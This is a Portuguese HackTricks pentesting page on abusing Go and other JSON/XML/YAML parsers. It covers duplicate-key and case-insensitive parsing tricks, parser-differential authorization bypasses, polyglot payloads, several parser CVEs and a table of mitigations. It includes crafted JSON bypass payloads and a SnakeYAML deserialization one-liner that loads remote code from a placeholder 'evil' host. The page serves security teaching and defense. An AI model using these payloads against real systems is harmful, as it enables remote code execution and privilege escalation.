hacktricks/src/pentesting-web/json-xml-yaml-hacking.md

166 lines
6.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Decoder
Os seguintes problemas foram detectados no Go JSON, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em [**este post no blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
Os parsers JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para **burlar a autenticação**, **escalar privilégios** ou **exfiltrar dados sensíveis**.
### (Un)Marshaling Dados Inesperados
O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, `IsAdmin`, `Password`).
- Exemplo de Struct:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- Vulnerabilidades Comuns
1. **Tag ausente** (sem tag = campo ainda é analisado por padrão):
```go
type User struct {
Username string
}
```
Carga útil:
```json
{"Username": "admin"}
```
2. **Uso incorreto de `-`**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
Carga útil:
```json
{"-": true}
```
✔️ Maneira adequada de bloquear campo de ser (des)serializado:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### Diferenças de Parser
O objetivo é contornar a autorização explorando como diferentes parsers interpretam a mesma carga útil de maneira diferente, como em:
- CVE-2017-12635: contorno do Apache CouchDB via chaves duplicadas
- 2022: RCE 0-click do Zoom via inconsistência do parser XML
- GitLab 2025 contorno SAML via peculiaridades do XML
**1. Campos Duplicados:**
O `encoding/json` do Go pega o **último** campo.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
Outros analisadores (por exemplo, Jackson do Java) podem levar o **primeiro**.
**2. Insensibilidade a Maiúsculas e Minúsculas:**
Go é insensível a maiúsculas e minúsculas:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
Até truques de Unicode funcionam:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Incompatibilidade entre serviços:**
Imagine:
- Proxy escrito em Go
- Serviço de AuthZ escrito em Python
O atacante envia:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python vê `UserAction`, permite
- Go vê `AdminAction`, executa
### Confusão de Formato de Dados (Poliglotas)
O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou falham abertamente em erros de parser, como:
- **CVE-2020-16250**: HashiCorp Vault analisou JSON com um parser XML após o STS retornar JSON em vez de XML.
O atacante controla:
- O cabeçalho `Accept: application/json`
- Controle parcial do corpo JSON
O parser XML do Go analisou **de qualquer forma** e confiou na identidade injetada.
- Payload elaborado:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
Resultado:
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
- **YAML** parser: `Action_1` (case-sensitive)
- **XML** parser: parses `"Action_3"` dentro da string
---
## Vulnerabilidades Notáveis de Parser (2023-2025)
> Os seguintes problemas publicamente exploráveis mostram que a análise insegura é um problema de múltiplas linguagens — não apenas um problema do Go.
### Deserialização RCE do SnakeYAML (CVE-2022-1471)
* Afeta: `org.yaml:snakeyaml` < **2.0** (usado pelo Spring-Boot, Jenkins, etc.).
* Causa raiz: `new Constructor()` deserializa **classes Java arbitrárias**, permitindo cadeias de gadgets que culminam em execução remota de código.
* PoC de uma linha (abrirá a calculadora no host vulnerável):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Correção / Mitigação:
1. **Atualizar para ≥2.0** (usa `SafeLoader` por padrão).
2. Em versões mais antigas, use explicitamente `new Yaml(new SafeConstructor())`.
### libyaml Double-Free (CVE-2024-35325)
* Afeta: `libyaml` ≤0.2.5 (biblioteca C utilizada por muitas ligações de linguagem).
* Problema: Chamar `yaml_event_delete()` duas vezes leva a um double-free que atacantes podem transformar em DoS ou, em alguns cenários, exploração de heap.
* Status: Rejeitado upstream como “uso indevido da API”, mas distribuições Linux enviaram a versão corrigida **0.2.6** que libera defensivamente o ponteiro.
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* Afeta: Tencent **RapidJSON** antes do commit `8269bc2` (<1.1.0-patch-22).
* Bug: Em `GenericReader::ParseNumber()`, a aritmética não verificada permite que atacantes criem literais numéricos enormes que se envolvem e corrompem o heap permitindo, em última análise, a escalada de privilégios quando o gráfico de objetos resultante é usado para decisões de autorização.
---
### 🔐 Mitigações (Atualizado)
| Risco | Correção / Recomendação |
|-------------------------------------|------------------------------------------------------------|
| Campos desconhecidos (JSON) | `decoder.DisallowUnknownFields()` |
| Campos duplicados (JSON) | Sem correção na stdlib valide com [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Correspondência sem distinção de maiúsculas (Go) | Sem correção valide tags de estrutura + pré-canonize a entrada |
| Dados lixo XML / XXE | Use um parser endurecido (`encoding/xml` + `DisallowDTD`) |
| Chaves desconhecidas YAML | `yaml.KnownFields(true)` |
| **Desserialização YAML insegura** | Use SafeConstructor / atualize para SnakeYAML 2.0 |
| libyaml 0.2.5 double-free | Atualize para **0.2.6** ou versão corrigida da distro |
| RapidJSON <commit corrigido | Compile contra a versão mais recente do RapidJSON (≥Julho 2024) |
## Referências
- Baeldung Resolvendo CVE-2022-1471 Com SnakeYAML 2.0
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}